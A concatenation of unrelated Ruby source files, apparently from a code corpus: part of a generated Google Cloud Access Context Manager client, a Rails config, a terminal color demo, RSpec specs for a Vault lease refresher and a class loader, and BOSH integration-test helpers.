# Pass arguments to `delete_gcp_user_access_binding` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Example: "organizations/256/gcpUserAccessBindings/b3-BhcX_Ud5N"
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def delete_gcp_user_access_binding request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::DeleteGcpUserAccessBindingRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.delete_gcp_user_access_binding.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.delete_gcp_user_access_binding.timeout,
metadata: metadata,
retry_policy: @config.rpcs.delete_gcp_user_access_binding.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :delete_gcp_user_access_binding, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Configuration class for the AccessContextManager API.
#
# This class represents the configuration for AccessContextManager,
# providing control over timeouts, retry behavior, logging, transport
# parameters, and other low-level controls. Certain parameters can also be
# applied individually to specific RPCs. See
# {::Google::Identity::AccessContextManager::V1::AccessContextManager::Client::Configuration::Rpcs}
# for a list of RPCs that can be configured independently.
#
# Configuration can be applied globally to all clients, or to a single client
# on construction.
#
# @example
#
# # Modify the global config, setting the timeout for
# # list_access_policies to 20 seconds,
# # and all remaining timeouts to 10 seconds.
# ::Google::Identity::AccessContextManager::V1::AccessContextManager::Client.configure do |config|
# config.timeout = 10.0
# config.rpcs.list_access_policies.timeout = 20.0
# end
#
# # Apply the above configuration only to a new client.
# client = ::Google::Identity::AccessContextManager::V1::AccessContextManager::Client.new do |config|
# config.timeout = 10.0
# config.rpcs.list_access_policies.timeout = 20.0
# end
#
# @!attribute [rw] endpoint
# The hostname or hostname:port of the service endpoint.
# Defaults to `"accesscontextmanager.googleapis.com"`.
# @return [::String]
# @!attribute [rw] credentials
# Credentials to send with calls. You may provide any of the following types:
# * (`String`) The path to a service account key file in JSON format
# * (`Hash`) A service account key as a Hash
# * (`Google::Auth::Credentials`) A googleauth credentials object
# (see the [googleauth docs](https://googleapis.dev/ruby/googleauth/latest/index.html))
# * (`Signet::OAuth2::Client`) A signet oauth2 client object
# (see the [signet docs](https://googleapis.dev/ruby/signet/latest/Signet/OAuth2/Client.html))
# * (`GRPC::Core::Channel`) a gRPC channel with included credentials
# * (`GRPC::Core::ChannelCredentials`) a gRPC credentails object
# * (`nil`) indicating no credentials
# @return [::Object]
# @!attribute [rw] scope
# The OAuth scopes
# @return [::Array<::String>]
# @!attribute [rw] lib_name
# The library name as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] lib_version
# The library version as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] channel_args
# Extra parameters passed to the gRPC channel. Note: this is ignored if a
# `GRPC::Core::Channel` object is provided as the credential.
# @return [::Hash]
# @!attribute [rw] interceptors
# An array of interceptors that are run before calls are executed.
# @return [::Array<::GRPC::ClientInterceptor>]
# @!attribute [rw] timeout
# The call timeout in seconds.
# @return [::Numeric]
# @!attribute [rw] metadata
# Additional gRPC headers to be sent with the call.
# @return [::Hash{::Symbol=>::String}]
# @!attribute [rw] retry_policy
# The retry policy. The value is a hash with the following keys:
# * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds.
# * `:max_delay` (*type:* `Numeric`) - The max delay in seconds.
# * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier.
# * `:retry_codes` (*type:* `Array<String>`) - The error codes that should
# trigger a retry.
# @return [::Hash]
# @!attribute [rw] quota_project
# A separate project against which to charge quota.
# @return [::String]
#
class Configuration
extend ::Gapic::Config
config_attr :endpoint, "accesscontextmanager.googleapis.com", ::String
config_attr :credentials, nil do |value|
allowed = [::String, ::Hash, ::Proc, ::Symbol, ::Google::Auth::Credentials, ::Signet::OAuth2::Client, nil]
allowed += [::GRPC::Core::Channel, ::GRPC::Core::ChannelCredentials] if defined? ::GRPC
allowed.any? { |klass| klass === value }
end
config_attr :scope, nil, ::String, ::Array, nil
config_attr :lib_name, nil, ::String, nil
config_attr :lib_version, nil, ::String, nil
config_attr(:channel_args, { "grpc.service_config_disable_resolution" => 1 }, ::Hash, nil)
config_attr :interceptors, nil, ::Array, nil
config_attr :timeout, nil, ::Numeric, nil
config_attr :metadata, nil, ::Hash, nil
config_attr :retry_policy, nil, ::Hash, ::Proc, nil
config_attr :quota_project, nil, ::String, nil
# @private
def initialize parent_config = nil
@parent_config = parent_config unless parent_config.nil?
yield self if block_given?
end
##
# Configurations for individual RPCs
# @return [Rpcs]
#
def rpcs
@rpcs ||= begin
parent_rpcs = nil
parent_rpcs = @parent_config.rpcs if defined?(@parent_config) && @parent_config.respond_to?(:rpcs)
Rpcs.new parent_rpcs
end
end
##
# Configuration RPC class for the AccessContextManager API.
#
# Includes fields providing the configuration for each RPC in this service.
# Each configuration object is of type `Gapic::Config::Method` and includes
# the following configuration fields:
#
# * `timeout` (*type:* `Numeric`) - The call timeout in seconds
# * `metadata` (*type:* `Hash{Symbol=>String}`) - Additional gRPC headers
# * `retry_policy (*type:* `Hash`) - The retry policy. The policy fields
# include the following keys:
# * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds.
# * `:max_delay` (*type:* `Numeric`) - The max delay in seconds.
# * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier.
# * `:retry_codes` (*type:* `Array<String>`) - The error codes that should
# trigger a retry.
#
class Rpcs
##
# RPC-specific configuration for `list_access_policies`
# @return [::Gapic::Config::Method]
#
attr_reader :list_access_policies
##
# RPC-specific configuration for `get_access_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :get_access_policy
##
# RPC-specific configuration for `create_access_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :create_access_policy
##
# RPC-specific configuration for `update_access_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :update_access_policy
##
# RPC-specific configuration for `delete_access_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :delete_access_policy
##
# RPC-specific configuration for `list_access_levels`
# @return [::Gapic::Config::Method]
#
attr_reader :list_access_levels
##
# RPC-specific configuration for `get_access_level`
# @return [::Gapic::Config::Method]
#
attr_reader :get_access_level
##
# RPC-specific configuration for `create_access_level`
# @return [::Gapic::Config::Method]
#
attr_reader :create_access_level
##
# RPC-specific configuration for `update_access_level`
# @return [::Gapic::Config::Method]
#
attr_reader :update_access_level
##
# RPC-specific configuration for `delete_access_level`
# @return [::Gapic::Config::Method]
#
attr_reader :delete_access_level
##
# RPC-specific configuration for `replace_access_levels`
# @return [::Gapic::Config::Method]
#
attr_reader :replace_access_levels
##
# RPC-specific configuration for `list_service_perimeters`
# @return [::Gapic::Config::Method]
#
attr_reader :list_service_perimeters
##
# RPC-specific configuration for `get_service_perimeter`
# @return [::Gapic::Config::Method]
#
attr_reader :get_service_perimeter
##
# RPC-specific configuration for `create_service_perimeter`
# @return [::Gapic::Config::Method]
#
attr_reader :create_service_perimeter
##
# RPC-specific configuration for `update_service_perimeter`
# @return [::Gapic::Config::Method]
#
attr_reader :update_service_perimeter
##
# RPC-specific configuration for `delete_service_perimeter`
# @return [::Gapic::Config::Method]
#
attr_reader :delete_service_perimeter
##
# RPC-specific configuration for `replace_service_perimeters`
# @return [::Gapic::Config::Method]
#
attr_reader :replace_service_perimeters
##
# RPC-specific configuration for `commit_service_perimeters`
# @return [::Gapic::Config::Method]
#
attr_reader :commit_service_perimeters
##
# RPC-specific configuration for `list_gcp_user_access_bindings`
# @return [::Gapic::Config::Method]
#
attr_reader :list_gcp_user_access_bindings
##
# RPC-specific configuration for `get_gcp_user_access_binding`
# @return [::Gapic::Config::Method]
#
attr_reader :get_gcp_user_access_binding
##
# RPC-specific configuration for `create_gcp_user_access_binding`
# @return [::Gapic::Config::Method]
#
attr_reader :create_gcp_user_access_binding
##
# RPC-specific configuration for `update_gcp_user_access_binding`
# @return [::Gapic::Config::Method]
#
attr_reader :update_gcp_user_access_binding
##
# RPC-specific configuration for `delete_gcp_user_access_binding`
# @return [::Gapic::Config::Method]
#
attr_reader :delete_gcp_user_access_binding
# @private
def initialize parent_rpcs = nil
list_access_policies_config = parent_rpcs.list_access_policies if parent_rpcs.respond_to? :list_access_policies
@list_access_policies = ::Gapic::Config::Method.new list_access_policies_config
get_access_policy_config = parent_rpcs.get_access_policy if parent_rpcs.respond_to? :get_access_policy
@get_access_policy = ::Gapic::Config::Method.new get_access_policy_config
create_access_policy_config = parent_rpcs.create_access_policy if parent_rpcs.respond_to? :create_access_policy
@create_access_policy = ::Gapic::Config::Method.new create_access_policy_config
update_access_policy_config = parent_rpcs.update_access_policy if parent_rpcs.respond_to? :update_access_policy
@update_access_policy = ::Gapic::Config::Method.new update_access_policy_config
delete_access_policy_config = parent_rpcs.delete_access_policy if parent_rpcs.respond_to? :delete_access_policy
@delete_access_policy = ::Gapic::Config::Method.new delete_access_policy_config
list_access_levels_config = parent_rpcs.list_access_levels if parent_rpcs.respond_to? :list_access_levels
@list_access_levels = ::Gapic::Config::Method.new list_access_levels_config
get_access_level_config = parent_rpcs.get_access_level if parent_rpcs.respond_to? :get_access_level
@get_access_level = ::Gapic::Config::Method.new get_access_level_config
create_access_level_config = parent_rpcs.create_access_level if parent_rpcs.respond_to? :create_access_level
@create_access_level = ::Gapic::Config::Method.new create_access_level_config
update_access_level_config = parent_rpcs.update_access_level if parent_rpcs.respond_to? :update_access_level
@update_access_level = ::Gapic::Config::Method.new update_access_level_config
delete_access_level_config = parent_rpcs.delete_access_level if parent_rpcs.respond_to? :delete_access_level
@delete_access_level = ::Gapic::Config::Method.new delete_access_level_config
replace_access_levels_config = parent_rpcs.replace_access_levels if parent_rpcs.respond_to? :replace_access_levels
@replace_access_levels = ::Gapic::Config::Method.new replace_access_levels_config
list_service_perimeters_config = parent_rpcs.list_service_perimeters if parent_rpcs.respond_to? :list_service_perimeters
@list_service_perimeters = ::Gapic::Config::Method.new list_service_perimeters_config
get_service_perimeter_config = parent_rpcs.get_service_perimeter if parent_rpcs.respond_to? :get_service_perimeter
@get_service_perimeter = ::Gapic::Config::Method.new get_service_perimeter_config
create_service_perimeter_config = parent_rpcs.create_service_perimeter if parent_rpcs.respond_to? :create_service_perimeter
@create_service_perimeter = ::Gapic::Config::Method.new create_service_perimeter_config
update_service_perimeter_config = parent_rpcs.update_service_perimeter if parent_rpcs.respond_to? :update_service_perimeter
@update_service_perimeter = ::Gapic::Config::Method.new update_service_perimeter_config
delete_service_perimeter_config = parent_rpcs.delete_service_perimeter if parent_rpcs.respond_to? :delete_service_perimeter
@delete_service_perimeter = ::Gapic::Config::Method.new delete_service_perimeter_config
replace_service_perimeters_config = parent_rpcs.replace_service_perimeters if parent_rpcs.respond_to? :replace_service_perimeters
@replace_service_perimeters = ::Gapic::Config::Method.new replace_service_perimeters_config
commit_service_perimeters_config = parent_rpcs.commit_service_perimeters if parent_rpcs.respond_to? :commit_service_perimeters
@commit_service_perimeters = ::Gapic::Config::Method.new commit_service_perimeters_config
list_gcp_user_access_bindings_config = parent_rpcs.list_gcp_user_access_bindings if parent_rpcs.respond_to? :list_gcp_user_access_bindings
@list_gcp_user_access_bindings = ::Gapic::Config::Method.new list_gcp_user_access_bindings_config
get_gcp_user_access_binding_config = parent_rpcs.get_gcp_user_access_binding if parent_rpcs.respond_to? :get_gcp_user_access_binding
@get_gcp_user_access_binding = ::Gapic::Config::Method.new get_gcp_user_access_binding_config
create_gcp_user_access_binding_config = parent_rpcs.create_gcp_user_access_binding if parent_rpcs.respond_to? :create_gcp_user_access_binding
@create_gcp_user_access_binding = ::Gapic::Config::Method.new create_gcp_user_access_binding_config
update_gcp_user_access_binding_config = parent_rpcs.update_gcp_user_access_binding if parent_rpcs.respond_to? :update_gcp_user_access_binding
@update_gcp_user_access_binding = ::Gapic::Config::Method.new update_gcp_user_access_binding_config
delete_gcp_user_access_binding_config = parent_rpcs.delete_gcp_user_access_binding if parent_rpcs.respond_to? :delete_gcp_user_access_binding
@delete_gcp_user_access_binding = ::Gapic::Config::Method.new delete_gcp_user_access_binding_config
yield self if block_given?
end
end
end
end
end
end
end
end
end
| 57.62145 | 159 | 0.596856 |
5d25a507ca88b052ffaa611f8b2130af48609460 | 1,118 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module GoalTracker
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
end
end
| 41.407407 | 99 | 0.734347 |
1d0435d1cf3d61b9bebe933bf2c8cb4159b43a00 | 928 | require 'color-block'
include ColorBlock
color( :white, :blue ) { puts "white on blue?" }
color( :green ) { puts "green?" }
color( :white, :green, :dim ) { puts "white on dark green?" }
color( :blue ) { puts "blue?" }
color( :red ) {
puts "red?"
color( :cyan ) {
puts " cyan?"
puts " (this is inside a nested block)"
}
puts "red again?"
}
puts "all blocks are now closed. is this the original color?"
puts
puts "testing exception handling and nested blocks..."
color( :cyan ) {
puts "cyan?"
color( :green ) {
puts " green?"
begin
color( :red ) {
puts " red?"
puts " raising an exception..."
raise " test exception"
}
rescue
puts " catching exception."
puts " green again?"
end
puts " at this point you should have seen a message \"catching exception.\""
puts " was the exception caught?"
}
puts "cyan again?"
}
| 23.794872 | 81 | 0.579741 |
188b94cea1b72e3cfd696d35917129172da14c92 | 159 | require 'rails_helper'
RSpec.describe "Teams", type: :request do
describe "GET /index" do
pending "add some examples (or delete) #{__FILE__}"
end
end
| 19.875 | 55 | 0.704403 |
bf635a052692a06bc5d0180dcbf11e0c8586843a | 2,136 | RSpec.describe SettingsReader::VaultResolver::RefresherObserver do
let(:observer) { described_class.new(config) }
let(:config) { SettingsReader::VaultResolver::Configuration.new }
let(:success_listener) { instance_double(Proc, call: true) }
let(:error_listener) { instance_double(Proc, call: true) }
before do
config.lease_renew_success_listener = success_listener
config.lease_renew_error_listener = error_listener
end
context 'when no leases refreshed' do
it 'does not execute listeners' do
observer.update(Time.now, [], nil)
expect(success_listener).not_to have_received(:call)
expect(error_listener).not_to have_received(:call)
end
end
context 'when one lease refreshed' do
let(:entry) { entry_double }
it 'executes success listener' do
observer.update(Time.now, [Concurrent::Promise.fulfill(entry)], nil)
expect(success_listener).to have_received(:call).with(entry)
expect(error_listener).not_to have_received(:call)
end
end
context 'when one lease failed' do
let(:error) { SettingsReader::VaultResolver::Error.new('test') }
it 'executes error listener' do
observer.update(Time.now, [Concurrent::Promise.reject(error)], nil)
expect(success_listener).not_to have_received(:call)
expect(error_listener).to have_received(:call).with(error)
end
end
context 'when multiple promises' do
let(:entry) { entry_double }
let(:error) { SettingsReader::VaultResolver::Error.new('test') }
it 'executes both listeners' do
observer.update(Time.now, [Concurrent::Promise.reject(error), Concurrent::Promise.fulfill(entry)], nil)
expect(success_listener).to have_received(:call).with(entry)
expect(error_listener).to have_received(:call).with(error)
end
end
context 'when task failed' do
let(:error) { SettingsReader::VaultResolver::Error.new('test') }
it 'does not execute listeners' do
observer.update(Time.now, nil, error)
expect(success_listener).not_to have_received(:call)
expect(error_listener).to have_received(:call).with(error)
end
end
end
| 35.016393 | 109 | 0.71676 |
abe490d5df54dbfb12e444e68f1af2618dfb609a | 1,247 | require 'spec_helper'
RSpec.shared_examples 'a class loader' do |method|
context 'when creating from array' do
it 'returns the expected class' do
expect(subject.public_send(method)).to eq(Data::Transpose::Binomial::Experiment)
end
end
context 'when creating from string' do
let(:arguments) { 'data/transpose/binomial/experiment' }
it 'returns the expected class' do
expect(subject.public_send(method)).to eq(Data::Transpose::Binomial::Experiment)
end
end
end
RSpec.describe Utils::Loader do
subject do
described_class.new(arguments)
end
let(:arguments) { %w(data transpose binomial experiment) }
describe '#constantize' do
it_behaves_like 'a class loader', :constantize do
context 'when class do not exist' do
let(:arguments) { 'data/transposeee' }
it do
expect(subject.constantize).to be_nil
end
end
end
end
describe '#constantize!' do
it_behaves_like 'a class loader', :constantize! do
context 'when class do not exist' do
let(:arguments) { 'data/transposeee' }
it do
expect do
subject.constantize!
end.to raise_error(NameError)
end
end
end
end
end
| 24.45098 | 86 | 0.657578 |
d5095cd02fb21c5d2a54b2a7c75dcf1342242933 | 14,245 | require 'yaml'
require 'bosh/dev/sandbox/main'
require 'bosh/dev/legacy_agent_manager'
require 'bosh/dev/verify_multidigest_manager'
require 'bosh/dev/gnatsd_manager'
module IntegrationExampleGroup
def logger
@logger ||= current_sandbox.logger
end
def director
@director ||= Bosh::Spec::Director.new(
bosh_runner,
waiter,
current_sandbox.agent_tmp_path,
current_sandbox.db,
current_sandbox.director_nats_config,
logger,
)
end
def health_monitor
@health_monitor ||= Bosh::Spec::HealthMonitor.new(
current_sandbox.health_monitor_process,
logger,
)
end
def bosh_runner
@bosh_runner ||= make_a_bosh_runner
end
def make_a_bosh_runner(opts = {})
Bosh::Spec::BoshGoCliRunner.new(
opts.fetch(:work_dir, ClientSandbox.bosh_work_dir),
opts.fetch(:config_path, ClientSandbox.bosh_config),
current_sandbox.cpi.method(:agent_log_path),
current_sandbox.nats_log_path,
current_sandbox.saved_logs_path,
logger,
ENV['SHA2_MODE'] == 'true',
)
end
def bosh_runner_in_work_dir(work_dir)
make_a_bosh_runner(work_dir: work_dir)
end
def waiter
@waiter ||= Bosh::Spec::Waiter.new(logger)
end
def upload_cloud_config(options = {})
cloud_config_hash = options.fetch(:cloud_config_hash, Bosh::Spec::NewDeployments.simple_cloud_config)
cloud_config_manifest = yaml_file('simple', cloud_config_hash)
bosh_runner.run("update-cloud-config #{cloud_config_manifest.path}", options)
end
def upload_runtime_config(options = {})
runtime_config_hash = options.fetch(:runtime_config_hash, Bosh::Spec::NewDeployments.simple_runtime_config)
name = options.fetch(:name, '')
runtime_config_manifest = yaml_file('simple', runtime_config_hash)
bosh_runner.run("update-runtime-config --name=#{name} #{runtime_config_manifest.path}", options)
end
def create_and_upload_test_release(options = {})
create_args = options.fetch(:force, false) ? '--force' : ''
bosh_runner.run_in_dir("create-release #{create_args}", ClientSandbox.test_release_dir, options)
bosh_runner.run_in_dir('upload-release', ClientSandbox.test_release_dir, options)
end
def update_release
Dir.chdir(ClientSandbox.test_release_dir) do
File.open(File.join('src', 'foo'), 'w') { |f| f.write(SecureRandom.uuid) }
end
create_and_upload_test_release(force: true)
end
def upload_stemcell(options = {})
bosh_runner.run("upload-stemcell #{spec_asset('valid_stemcell.tgz')}", options)
end
def upload_stemcell_2(options = {})
bosh_runner.run("upload-stemcell #{spec_asset('valid_stemcell_2.tgz')}", options)
end
def delete_stemcell
bosh_runner.run('delete-stemcell ubuntu-stemcell/1')
end
def deployment_file(manifest_hash)
# Hold reference to the tempfile so that it stays around
# until the end of tests or next deploy.
yaml_file('simple', manifest_hash)
end
def deploy(options = {})
cmd = options.fetch(:no_color, false) ? '--no-color ' : ''
deployment_hash = options.fetch(:manifest_hash, Bosh::Spec::NewDeployments.simple_manifest_with_instance_groups)
cmd += " -d #{deployment_hash['name']}"
cmd += ' deploy'
cmd += options.fetch(:no_redact, false) ? ' --no-redact' : ''
cmd += options.fetch(:recreate, false) ? ' --recreate' : ''
cmd += options.fetch(:recreate_persistent_disks, false) ? ' --recreate-persistent-disks' : ''
cmd += options.fetch(:dry_run, false) ? ' --dry-run' : ''
cmd += options.fetch(:fix, false) ? ' --fix' : ''
cmd += options.fetch(:json, false) ? ' --json' : ''
if options[:skip_drain]
cmd += if options[:skip_drain].is_a?(Array)
options[:skip_drain].map { |skip| " --skip-drain=#{skip}" }.join('')
else
' --skip-drain'
end
end
cmd += if options[:manifest_file]
" #{spec_asset(options[:manifest_file])}"
else
" #{deployment_file(deployment_hash).path}"
end
bosh_runner.run(cmd, options)
end
def stop_job(vm_name)
bosh_runner.run("stop -d #{Bosh::Spec::NewDeployments::DEFAULT_DEPLOYMENT_NAME} #{vm_name}", {})
end
def orphaned_disks
table(bosh_runner.run('disks -o', json: true))
end
def deploy_from_scratch(options = {})
prepare_for_deploy(options)
deploy_simple_manifest(options)
end
def prepare_for_deploy(options = {})
create_and_upload_test_release(options)
upload_stemcell(options)
upload_cloud_config(options) unless options[:legacy]
upload_runtime_config(options) if options[:runtime_config_hash]
end
def deploy_simple_manifest(options = {})
return_exit_code = options.fetch(:return_exit_code, false)
output, exit_code = deploy(options.merge(return_exit_code: true))
raise "Deploy failed. Exited #{exit_code}: #{output}" if exit_code != 0 && !options.fetch(:failure_expected, false)
return_exit_code ? [output, exit_code] : output
end
def run_errand(errand_job_name, options = {})
failure_expected = options.fetch(:failure_expected, true)
output, exit_code = bosh_runner.run(
"run-errand #{errand_job_name}",
options.merge(return_exit_code: true, failure_expected: failure_expected),
)
[output, exit_code.zero?]
end
def yaml_file(name, object)
FileUtils.mkdir_p(ClientSandbox.manifests_dir)
file_path = File.join(ClientSandbox.manifests_dir, "#{name}-#{SecureRandom.uuid}")
File.open(file_path, 'w') do |f|
f.write(Psych.dump(object))
f
end
end
def spec_asset(name)
File.expand_path("#{ASSETS_DIR}/#{name}", __FILE__)
end
def regexp(string)
Regexp.compile(Regexp.escape(string))
end
def scrub_random_ids(bosh_output)
sub_in_records(bosh_output, /[0-9a-f]{8}-[0-9a-f-]{27}/, 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx')
end
def scrub_event_time(bosh_output)
sub_in_records(
bosh_output,
/[A-Za-z]{3} [A-Za-z]{3}\s{1,2}[0-9]{1,2} [0-9]{2}:[0-9]{2}:[0-9]{2} UTC [0-9]{4}/,
'xxx xxx xx xx:xx:xx UTC xxxx',
)
end
def scrub_event_parent_ids(bosh_output)
sub_in_records(bosh_output, /[0-9]{1,3} <- [0-9]{1,3} [ ]{0,}/, 'x <- x ')
end
def scrub_event_ids(bosh_output)
sub_in_records(bosh_output, /[ ][0-9]{1,3} [ ]{0,}/, ' x ')
end
def scrub_event_specific(bosh_output)
bosh_output_after_ids = scrub_random_ids(bosh_output)
bosh_output_after_cids = scrub_random_cids(bosh_output_after_ids)
bosh_output_after_time = scrub_event_time(bosh_output_after_cids)
bosh_output_after_parent_ids = scrub_event_parent_ids(bosh_output_after_time)
scrub_event_ids(bosh_output_after_parent_ids)
end
def scrub_random_cids(bosh_output)
sub_in_records(bosh_output, /[0-9a-f]{32}/, 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
end
def cid_from(bosh_output)
bosh_output[/[0-9a-f]{32}/, 0]
end
def scrub_time(bosh_output)
output = sub_in_records(
bosh_output,
/[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} [-+][0-9]{4}/,
'0000-00-00 00:00:00 -0000',
)
sub_in_records(output, /[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} UTC/, '0000-00-00 00:00:00 UTC')
end
def extract_agent_messages(nats_messages, agent_id)
nats_messages.select do |val|
# messages for the agent we care about
val[0] == "agent.#{agent_id}"
end.map do |val|
# parse JSON payload
JSON.parse(val[1])
end.flat_map do |val|
# extract method from messages that have it
val['method'] ? [val['method']] : []
end
end
def expect_table(cmd, expected, options = {})
options[:json] = true
expect(table(bosh_runner.run(cmd, options))).to contain_exactly(*expected)
end
def check_for_unknowns(instances)
uniq_vm_names = instances.map(&:instance_group_name).uniq
bosh_runner.print_agent_debug_logs(instances.first.agent_id) if uniq_vm_names.size == 1 && uniq_vm_names.first == 'unknown'
end
def expect_running_vms_with_names_and_count(
instance_group_names_to_instance_counts,
options = { deployment_name: Bosh::Spec::NewDeployments::DEFAULT_DEPLOYMENT_NAME }
)
instances = director.instances(options)
check_for_unknowns(instances)
names = instances.map(&:instance_group_name)
total_expected_vms = instance_group_names_to_instance_counts.values.inject(0) { |sum, count| sum + count }
updated_vms = instances.reject { |instance| instance.vm_cid.empty? }
expect(updated_vms.size).to(
eq(total_expected_vms),
"Expected #{total_expected_vms} VMs, got #{updated_vms.size}. Present were VMs with job name: #{names}",
)
instance_group_names_to_instance_counts.each do |instance_group_name, expected_count|
actual_count = names.select { |name| name == instance_group_name }.size
expect(actual_count).to(
eq(expected_count),
"Expected instance group #{instance_group_name} to have #{expected_count} VMs, got #{actual_count}",
)
end
expect(updated_vms.map(&:last_known_state).uniq).to eq(['running'])
end
def expect_logs_not_to_contain(deployment_name, task_id, list_of_strings, options = {})
debug_output = bosh_runner.run("task #{task_id} --debug", options.merge(deployment_name: deployment_name))
cpi_output = bosh_runner.run("task #{task_id} --cpi", options.merge(deployment_name: deployment_name))
events_output = bosh_runner.run("task #{task_id} --event", options.merge(deployment_name: deployment_name))
result_output = bosh_runner.run("task #{task_id} --result", options.merge(deployment_name: deployment_name))
list_of_strings.each do |token|
expect(debug_output).to_not include(token)
expect(cpi_output).to_not include(token)
expect(events_output).to_not include(token)
expect(result_output).to_not include(token)
end
end
def get_legacy_agent_path(legacy_agent_name)
Bosh::Dev::LegacyAgentManager.generate_executable_full_path(legacy_agent_name)
end
private
def sub_in_records(output, regex_pattern, replace_pattern)
output.map do |record|
if record.is_a?(Hash)
record.each do |key, value|
record[key] = value.gsub(regex_pattern, replace_pattern)
end
record
elsif record.is_a?(String)
record.gsub(regex_pattern, replace_pattern)
else
raise 'Unknown record type'
end
end
end
end
module IntegrationSandboxHelpers
def start_sandbox
unless sandbox_started?
at_exit do
begin
status = $ERROR_INFO ? ($ERROR_INFO.is_a?(::SystemExit) ? $ERROR_INFO.status : 1) : 0
logger.info("\n Stopping sandboxed environment for BOSH tests...")
current_sandbox.stop
cleanup_client_sandbox_dir
rescue StandardError => e
logger.error "Failed to stop sandbox! #{e.message}\n#{e.backtrace.join("\n")}"
ensure
exit(status)
end
end
end
$sandbox_started = true
logger.info('Starting sandboxed environment for BOSH tests...')
current_sandbox.start
end
def reset_sandbox(example, options)
prepare_sandbox
reconfigure_sandbox(options)
if !sandbox_started?
start_sandbox
elsif example.nil? || !example.metadata[:no_reset]
current_sandbox.reset
end
end
def sandbox_started?
!!$sandbox_started
end
def current_sandbox
sandbox = Thread.current[:sandbox]
raise "call prepare_sandbox to set up this thread's sandbox" if sandbox.nil?
sandbox
end
def prepare_sandbox
cleanup_client_sandbox_dir
setup_test_release_dir
setup_bosh_work_dir
setup_home_dir
Thread.current[:sandbox] ||= Bosh::Dev::Sandbox::Main.from_env
end
def reconfigure_sandbox(options)
current_sandbox.reconfigure(options)
end
def setup_test_release_dir(destination_dir = ClientSandbox.test_release_dir)
FileUtils.rm_rf(destination_dir)
FileUtils.cp_r(TEST_RELEASE_TEMPLATE, destination_dir, preserve: true)
final_config_path = File.join(destination_dir, 'config', 'final.yml')
final_config = YAML.load_file(final_config_path)
final_config['blobstore']['options']['blobstore_path'] = ClientSandbox.blobstore_dir
File.open(final_config_path, 'w') { |file| file.write(YAML.dump(final_config)) }
Dir.chdir(destination_dir) do
ignore = %w[
blobs
dev-releases
config/dev.yml
config/private.yml
releases/*.tgz
dev_releases
.dev_builds
.final_builds/jobs/**/*.tgz
.final_builds/packages/**/*.tgz
blobs
.blobs
.DS_Store
]
File.open('.gitignore', 'w+') do |f|
f.write(ignore.join("\n") + "\n")
end
`git init;
git config user.name "John Doe";
git config user.email "[email protected]";
git add .;
git commit -m "Initial Test Commit"`
end
end
private
def setup_bosh_work_dir
FileUtils.cp_r(BOSH_WORK_TEMPLATE, ClientSandbox.bosh_work_dir, preserve: true)
end
def setup_home_dir
FileUtils.mkdir_p(ClientSandbox.home_dir)
ENV['HOME'] = ClientSandbox.home_dir
end
def cleanup_client_sandbox_dir
FileUtils.rm_rf(ClientSandbox.base_dir)
FileUtils.mkdir_p(ClientSandbox.base_dir)
end
end
module IntegrationSandboxBeforeHelpers
def with_reset_sandbox_before_each(options = {})
before do |example|
reset_sandbox(example, options)
end
end
def with_reset_sandbox_before_all(options = {})
# `example` is not available in before(:all)
before(:all) do
prepare_sandbox
reconfigure_sandbox(options) unless options.empty?
if !sandbox_started?
start_sandbox
else
current_sandbox.reset
end
end
end
def with_reset_hm_before_each
before do
current_sandbox.reconfigure_health_monitor
end
after do
current_sandbox.health_monitor_process.stop
end
end
end
RSpec.configure do |config|
config.include(IntegrationExampleGroup, type: :integration)
